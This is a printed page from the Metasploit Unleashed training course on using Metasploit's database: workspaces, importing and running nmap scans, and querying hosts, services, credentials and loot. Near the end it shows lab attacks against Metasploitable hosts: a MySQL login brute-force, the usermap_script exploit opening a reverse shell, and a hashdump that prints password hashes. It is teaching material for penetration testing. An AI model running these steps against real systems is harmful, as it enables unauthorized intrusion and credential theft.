11/16/25, 12:01 AM Metasploit Unleashed | Using the Database

Unmask epic deals!

Unmask epic deals!
Get $550 off Learn One before this offer vanishes in a flash!

Unlock 20%
Unlock 20% off
off

Using the Database

Setup our Metasploit Database

In Kali, you will need to start up the postgresql server before using the database.

root@kali:~# systemctl start postgresql

After starting postgresql you need to create and initialize the msf database with msfdb
init

root@kali:~# msfdb init

Creating database user 'msf'
Enter password for new role:
Enter it again:
Creating databases 'msf' and 'msf_test'
Creating configuration file in /usr/share/metasploit-framework/config/[Link]
Creating initial database schema

Using Workspaces in Metasploit

[Link] 1/18
11/16/25, 12:01 AM Metasploit Unleashed | Using the Database

When we load up msfconsole, and run db_status, we can confirm that Metasploit is
successfully connected to the database.

msf > db_status

[*] postgresql connected to msf

Seeing this capability is a meant to keep track of our activities and scans in order. It’s
imperative we start off on the right foot. Once connected to the database, we can start
organizing our different movements by using what are called ‘workspaces’. This gives us
the ability to save different scans from different locations/networks/subnets for example.

Issuing the ‘workspace‘ command from the msfconsole, will display the currently
selected workspaces. The ‘default‘ workspace is selected when connecting to the
database, which is represented by the * beside its name.

msf > workspace

* default
msfu
lab1
lab2
lab3
lab4
msf >

As we can see this can be quite handy when it comes to keeping things ‘neat’. Let’s
change the current workspace to ‘msfu’.

msf > workspace msfu

[*] Workspace: msfu
msf > workspace
default
* msfu
lab1
lab2
lab3
lab4
msf >

[Link] 2/18
11/16/25, 12:01 AM Metasploit Unleashed | Using the Database

Creating and deleting a workspace one simply uses the -a or -d followed by the name at
the msfconsole prompt.

msf > workspace -a lab4

[*] Added workspace: lab4
msf >

msf > workspace -d lab4

[*] Deleted workspace: lab4
msf > workspace

It’s that simple, using the same command and adding the -h switch will provide us with
the command’s other capabilities.

msf > workspace -h

Usage:
workspace List workspaces
workspace -v List workspaces verbosely
workspace [name] Switch workspace
workspace -a [name] ... Add workspace(s)
workspace -d [name] ... Delete workspace(s)
workspace -D Delete all workspaces
workspace -r Rename workspace
workspace -h Show this help information

msf >

From now on any scan or imports from 3rd party applications will be saved into this
workspace.

Now that we are connected to our database and workspace setup, lets look at
populating it with some data. First we’ll look at the different ‘db_’ commands available to
use using the help command from the msfconsole.

msf > help

...snip...

Database Backend Commands

=========================

[Link] 3/18
11/16/25, 12:01 AM Metasploit Unleashed | Using the Database

Command Description
------- -----------
creds List all credentials in the database
db_connect Connect to an existing database
db_disconnect Disconnect from the current database instance
db_export Export a file containing the contents of the database
db_import Import a scan result file (filetype will be auto-detected)
db_nmap Executes nmap and records the output automatically
db_rebuild_cache Rebuilds the database-stored module cache
db_status Show the current database status
hosts List all hosts in the database
loot List all loot in the database
notes List all notes in the database
services List all services in the database
vulns List all vulnerabilities in the database
workspace Switch between database workspaces

Importing and Scanning

There are several ways we can do this, from scanning a host or network directly from
the console, or importing a file from an earlier scan. Let’s start by importing an nmap
scan of the ‘metasploitable 2’ host. This is done using db_import followed by the path to
our file.

msf > db_import /root/msfu/nmapScan

[*] Importing 'Nmap XML' data
[*] Import: Parsing with 'Rex::Parser::NmapXMLStreamParser'
[*] Importing host [Link]
[*] Successfully imported /root/msfu/nmapScan
msf > hosts

Hosts
=====

address mac name os_name os_flavor os_sp purpose info com

------- --- ---- ------- --------- ----- ------- ---- --
[Link] 00:0C:29:D1:62:80 Linux Ubuntu server

msf >

[Link] 4/18
11/16/25, 12:01 AM Metasploit Unleashed | Using the Database

Once completed we can confirm the import by issuing the hosts command. This will
display all the hosts stored in our current workspace. We can also scan a host directly
from the console using the db_nmap command. Scan results will be saved in our current
database. The command works the same way as the command line version of nmap.

msf > db_nmap -A [Link]

[*] Nmap: Starting Nmap 5.51SVN ( [Link] ) at 2012-06-18 12:36 EDT
[*] Nmap: Nmap scan report for [Link]
[*] Nmap: Host is up (0.00031s latency).
[*] Nmap: Not shown: 994 closed ports
[*] Nmap: PORT STATE SERVICE VERSION
[*] Nmap: 80/tcp open http Apache httpd 2.2.17 ((Win32) mod_ssl/2.2.17 Ope

...snip...

[*] Nmap: HOP RTT ADDRESS

[*] Nmap: 1 0.31 ms [Link]
[*] Nmap: OS and Service detection performed. Please report any incorrect results at
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 14.91 seconds
msf >

msf > hosts

Hosts
=====

address mac name os_name os_flavor os_sp purpose

------- --- ---- ------- --------- ----- -------
[Link] 00:0C:29:68:51:BB Microsoft Windows XP server
[Link] 00:0C:29:D1:62:80 Linux Ubuntu server

msf >

Backing Up Our Data

Exporting our data outside the Metasploit environment is very simple. Using the
db_export command all our gathered information can be saved in a XML file. This format
can be easily used and manipulated later for reporting purposes. The command has 2
[Link] 5/18
11/16/25, 12:01 AM Metasploit Unleashed | Using the Database

outputs, the xml format, which will export all of the information currently stored in our
active workspace, and the pwdump format, which exports everything related to
used/gathered credentials.

msf > db_export -h

Usage:
db_export -f [-a] [filename]
Format can be one of: xml, pwdump
[-] No output file was specified

msf > db_export -f xml /root/msfu/[Link]

[*] Starting export of workspace msfu to /root/msfu/[Link] [ xml ]...
[*] >> Starting export of report
[*] >> Starting export of hosts
[*] >> Starting export of events
[*] >> Starting export of services
[*] >> Starting export of credentials
[*] >> Starting export of web sites
[*] >> Starting export of web pages
[*] >> Starting export of web forms
[*] >> Starting export of web vulns
[*] >> Finished export of report
[*] Finished export of workspace msfu to /root/msfu/[Link] [ xml ]...

Using the Hosts Command

Now that we can import and export information to and from our database, let us look at
how we can use this information within the msfconsole. Many commands are available
to search for specific information stored in our database. Hosts names, address,
discovered services etc. We can even use the resulting data to populate module settings
such as RHOSTS. We’ll look how this is done a bit later.

The hosts command was used earlier to confirm the presence of data in our database.
Let’s look at the different options available and see how we use it to provide us with
quick and useful information. Issuing the command with -h will display the help menu.

msf > hosts -h

Usage: hosts [ options ] [addr1 addr2 ...]

[Link] 6/18
11/16/25, 12:01 AM Metasploit Unleashed | Using the Database

OPTIONS:
-a,--add Add the hosts instead of searching
-d,--delete Delete the hosts instead of searching
-c <col1,col2> Only show the given columns (see list below)
-h,--help Show this help information
-u,--up Only show hosts which are up
-o Send output to a file in csv format
-O Order rows by specified column number
-R,--rhosts Set RHOSTS from the results of the search
-S,--search Search string to filter by
-i,--info Change the info of a host
-n,--name Change the name of a host
-m,--comment Change the comment of a host
-t,--tag Add or specify a tag to a range of hosts

Available columns: address, arch, comm, comments, created_at, cred_count, detected_ar

We’ll start by asking the hosts command to display only the IP address and OS type
using the -c switch.

msf > hosts -c address,os_flavor

Hosts
=====

address os_flavor
------- ---------
[Link] XP
[Link] Ubuntu

Setting up Modules

Another interesting feature available to us, is the ability to search all our entries for
something specific. Imagine if we wished to find only the Linux based machines from
our scan. For this we’d use the -S option. This option can be combined with our previous
example and help fine tune our results.

[Link] 7/18
11/16/25, 12:01 AM Metasploit Unleashed | Using the Database

msf > hosts -c address,os_flavor -S Linux

Hosts
=====

address os_flavor
------- ---------
[Link] Ubuntu

msf >

Using the output of our previous example, we’ll feed that into the ‘tcp’ scan auxiliary
module.

msf auxiliary(tcp) > show options

Module options (auxiliary/scanner/portscan/tcp):

Name Current Setting Required Description

---- --------------- -------- -----------
CONCURRENCY 10 yes The number of concurrent ports to check pe
FILTER no The filter string for capturing traffic
INTERFACE no The name of the interface
PCAPFILE no The name of the PCAP capture file to proce
PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900)
RHOSTS yes The target address range or CIDR identifie
SNAPLEN 65535 yes The number of bytes to capture
THREADS 1 yes The number of concurrent threads
TIMEOUT 1000 yes The socket connect timeout in milliseconds

We can see by default, nothing is set in ‘RHOSTS’, we’ll add the -R switch to the hosts
command and run the module. Hopefully it will run and scan our target without any
problems.

msf auxiliary(tcp) > hosts -c address,os_flavor -S Linux -R

Hosts
=====

address os_flavor
------- ---------
[Link] 8/18
11/16/25, 12:01 AM Metasploit Unleashed | Using the Database

[Link] Ubuntu

RHOSTS => [Link]

msf auxiliary(tcp) > run

[*] [Link]:25 - TCP OPEN

[*] [Link]:23 - TCP OPEN
[*] [Link]:22 - TCP OPEN
[*] [Link]:21 - TCP OPEN
[*] [Link]:53 - TCP OPEN
[*] [Link]:80 - TCP OPEN

...snip...

[*] [Link]:5432 - TCP OPEN

[*] [Link]:5900 - TCP OPEN
[*] [Link]:6000 - TCP OPEN
[*] [Link]:6667 - TCP OPEN
[*] [Link]:6697 - TCP OPEN
[*] [Link]:8009 - TCP OPEN
[*] [Link]:8180 - TCP OPEN
[*] [Link]:8787 - TCP OPEN
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Of course this also works if our results contain more than one address.

msf auxiliary(tcp) > hosts -R

Hosts
=====

address mac name os_name os_flavor os_sp purpose

------- --- ---- ------- --------- ----- -------
[Link] 00:0C:29:68:51:BB Microsoft Windows XP server
[Link] 00:0C:29:D1:62:80 Linux Ubuntu server

RHOSTS => [Link] [Link]

msf auxiliary(tcp) > show options

Module options (auxiliary/scanner/portscan/tcp):

Name Current Setting Required Description

---- --------------- -------- -----------

[Link] 9/18
11/16/25, 12:01 AM Metasploit Unleashed | Using the Database

CONCURRENCY 10 yes The number of concurrent port

FILTER no The filter string for captur
INTERFACE no The name of the interface
PCAPFILE no The name of the PCAP capture
PORTS 1-10000 yes Ports to scan (e.g. 22-25,80
RHOSTS [Link] [Link] yes The target address range or C
SNAPLEN 65535 yes The number of bytes to captu
THREADS 1 yes The number of concurrent thr
TIMEOUT 1000 yes The socket connect timeout i

You can see how useful this may be if our database contained hundreds of entries. We
could search for Windows machines only, then set the RHOSTS option for the
smb_version auxiliary module very quickly. The set RHOSTS switch is available in almost
all of the commands that interact with the database.

Services

Another way to search the database is by using the services command. Like the
previous examples, we can extract very specific information with little effort.

msf > services -h

Usage: services [-h] [-u] [-a] [-r ] [-p >port1,port2>] [-s >name1,name2>] [-o ] [add

-a,--add Add the services instead of searching

-d,--delete Delete the services instead of searching
-c <col1,col2> Only show the given columns
-h,--help Show this help information
-s <name1,name2> Search for a list of service names
-p <port1,port2> Search for a list of ports
-r Only show [tcp|udp] services
-u,--up Only show services which are up
-o Send output to a file in csv format
-R,--rhosts Set RHOSTS from the results of the search
-S,--search Search string to filter by

Available columns: created_at, info, name, port, proto, state, updated_at

[Link] 10/18
11/16/25, 12:01 AM Metasploit Unleashed | Using the Database

Much in the same way as the hosts command, we can specify which fields to be
displayed. Coupled with the -S switch, we can also search for a service containing a
particular string.

msf > services -c name,info [Link]

Services
========

host name info

---- ---- ----
[Link] http Apache httpd 2.2.17 (Win32) mod_ssl/2.2.17 OpenSSL/0.9.
[Link] msrpc Microsoft Windows RPC
[Link] netbios-ssn
[Link] http Apache httpd 2.2.17 (Win32) mod_ssl/2.2.17 OpenSSL/0.9.
[Link] microsoft-ds Microsoft Windows XP microsoft-ds
[Link] mysql

Here we are searching all hosts contained in our database with a service name
containing the string ‘http’.

msf > services -c name,info -S http

Services
========

host name info

---- ---- ----
[Link] http Apache httpd 2.2.17 (Win32) mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5
[Link] http Apache httpd 2.2.17 (Win32) mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5
[Link] http Apache httpd 2.2.8 (Ubuntu) DAV/2
[Link] http Apache Tomcat/Coyote JSP engine 1.1

The combinations for searching are enormous. We can use specific ports, or port
ranges. Full or partial service name when using the -s or -S switches. For all hosts or
just a select few… The list goes on and on. Here are a few examples, but you may need
to experiment with these features in order to get what you want and need out your
searches.

[Link] 11/18
11/16/25, 12:01 AM Metasploit Unleashed | Using the Database

msf > services -c info,name -p 445

Services
========

host info name

---- ---- ----
[Link] Microsoft Windows XP microsoft-ds microsoft-ds
[Link] Samba smbd 3.X workgroup: WORKGROUP netbios-ssn

msf > services -c port,proto,state -p 70-81

Services
========
host port proto state
---- ---- ----- -----
[Link] 80 tcp open
[Link] 75 tcp closed
[Link] 71 tcp closed
[Link] 72 tcp closed
[Link] 73 tcp closed
[Link] 74 tcp closed
[Link] 70 tcp closed
[Link] 76 tcp closed
[Link] 77 tcp closed
[Link] 78 tcp closed
[Link] 79 tcp closed
[Link] 80 tcp open
[Link] 81 tcp closed

msf > services -s http -c port [Link]

Services
========
host port
---- ----
[Link] 12/18
11/16/25, 12:01 AM Metasploit Unleashed | Using the Database

[Link] 80
[Link] 443

msf > services -S Unr

Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
[Link] 6667 tcp irc open Unreal ircd
[Link] 6697 tcp irc open Unreal ircd

CSV Export

Both the hosts and services commands give us a means of saving our query results into
a file. The file format is a comma separated value, or CSV. Followed by the -o with path
and filename, the information that has been displayed on the screen at this point will
now be saved to disk.

msf > services -s http -c port [Link] -o /root/msfu/[Link]

[*] Wrote services to /root/msfu/[Link]

msf > hosts -S Linux -o /root/msfu/[Link]

[*] Wrote hosts to /root/msfu/[Link]

msf > cat /root/msfu/[Link]

[*] exec: cat /root/msfu/[Link]

address,mac,name,os_name,os_flavor,os_sp,purpose,info,comments
"[Link]","00:0C:29:D1:62:80","","Linux","Debian","","server","",""

msf > cat /root/msfu/[Link]

[*] exec: cat /root/msfu/[Link]

[Link] 13/18
11/16/25, 12:01 AM Metasploit Unleashed | Using the Database

host,port
"[Link]","80"
"[Link]","443"

Creds

The creds command is used to manage found and used credentials for targets in our
database. Running this command without any options will display currently saved
credentials.

msf > creds

Credentials
===========

host port user pass type active?

---- ---- ---- ---- ---- -------

[*] Found 0 credentials.

As with ‘db_nmap‘ command, successful results relating to credentials will be

automatically saved to our active workspace. Let’s run the auxiliary module
‘mysql_login‘ and see what happens when Metasploit scans our server.

msf auxiliary(mysql_login) > run

[*] [Link]:3306 MYSQL - Found remote MySQL version 5.0.51a

[*] [Link]:3306 MYSQL - [1/2] - Trying username:'root' with password:''
[*] [Link]:3306 - SUCCESSFUL LOGIN 'root' : ''
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

msf auxiliary(mysql_login) > creds

Credentials
===========

[Link] 14/18
11/16/25, 12:01 AM Metasploit Unleashed | Using the Database

host port user pass type active?

---- ---- ---- ---- ---- -------
[Link] 3306 root password true

[*] Found 1 credential.

msf auxiliary(mysql_login) >

We can see the module was able to connect to our mysql server, and because of this
Metasploit saved the credentials in our database automatically for future reference.

During post-exploitation of a host, gathering user credentials is an important activity in

order to further penetrate a target network. As we gather sets of credentials, we can add
them to our database with the creds -a command.

msf > creds -a [Link] -p 445 -u Administrator -P 7bf4f254b222bb24aad3b435b5140

[*] Time: 2012-06-20 20:31:42 UTC Credential: host=[Link] port=445 proto=tcp

msf > creds

Credentials
===========

host port user pass

---- ---- ---- ----
[Link] 445 Administrator 7bf4f254b222bb24aad3b435b51404ee:2892d26cdf84d7a

[*] Found 1 credential.

Loot

Once you’ve compromised a system (or three), one of the objective may be to retrieve
hash dumps. From either a Windows or *nix system. In the event of a successful hash
dump, this information will be stored in our database. We can view this dumps using the
loot command. As with almost every command, adding the -h switch will display a little
more information.

[Link] 15/18
11/16/25, 12:01 AM Metasploit Unleashed | Using the Database

msf > loot -h

Usage: loot
Info: loot [-h] [addr1 addr2 ...] [-t <type1,type2>]
Add: loot -f [fname] -i [info] -a [addr1 addr2 ...] [-t [type]
Del: loot -d [addr1 addr2 ...]

-a,--add Add loot to the list of addresses, instead of listing

-d,--delete Delete *all* loot matching host and type
-f,--file File with contents of the loot to add
-i,--info Info of the loot to add
-t <type1,type2> Search for a list of types
-h,--help Show this help information
-S,--search Search string to filter by

Here’s an example of how one would populate the database with some loot.

msf exploit(usermap_script) > exploit

[*] Started reverse double handler

[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 4uGPYOrars5OojdL;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "4uGPYOrars5OojdL\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened ([Link]:4444 -> [Link]:55138) at 20

^Z
Background session 1? [y/N] y

msf exploit(usermap_script) > use post/linux/gather/hashdump

msf post(hashdump) > show options

Module options (post/linux/gather/hashdump):

Name Current Setting Required Description

---- --------------- -------- -----------
SESSION 1 yes The session to run this module on.

msf post(hashdump) > sessions -l

[Link] 16/18
11/16/25, 12:01 AM Metasploit Unleashed | Using the Database

Active sessions
===============

Id Type Information Connection

-- ---- ----------- ----------
1 shell unix [Link]:4444 -> [Link]:55138 (172.16.194

msf post(hashdump) > run

[+] root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:0:0:root:/root:/bin/bash
[+] sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:3:3:sys:/dev:/bin/sh
[+] klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:103:104::/home/klog:/bin/false
[+] msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:1000:1000:msfadmin,,,:/home/msfadmin:
[+] postgres:$1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/:108:117:PostgreSQL administrator,,,:/v
[+] user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:1001:1001:just a user,111,,:/home/user:/b
[+] service:$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:1002:1002:,,,:/home/service:/bin/bash
[+] Unshadowed Password File: /root/.msf4/loot/20120627193921_msfu_172.16.194.172_lin
[*] Post module execution completed

msf post(hashdump) > loot

Loot
====

host service type name content info

---- ------- ---- ---- ------- ----
[Link] [Link] unshadowed_passwd.pwd text/plain Linux Unsha
[Link] [Link] [Link] text/plain Linux Passw
[Link] [Link] [Link] text/plain Linux Passwo

Get the latest updates around resources, events & promotions

from OffSec

Email address* Submit

Prev Next
By submitting this form, I agree to the processing of my personal data by
Databases
OffSec as described in the Privacy Policy. Meterpreter

Learn For Organizations OffSec

Products Cyber Ranges Careers
Courses + Certifications Industry Frameworks Leadership Team
Proving Grounds Pentesting Services Press Room
Learning Paths Use Cases Product Updates
Pricing Industries Help Center
[Link] 17/18
11/16/25, 12:01 AM Metasploit Unleashed | Using the Database

Community Resources Partners

User Generated Content Blog Public Sector
Bug Bounty Program Cyberversity Find a Partner
Learner Stories Cybersecurity Job Roles Become a partner
Partner Portal Login

Feedback Legal Trust & Compliance RSS Feed

© OffSec Services Limited 2025 All rights reserved

[Link] 18/18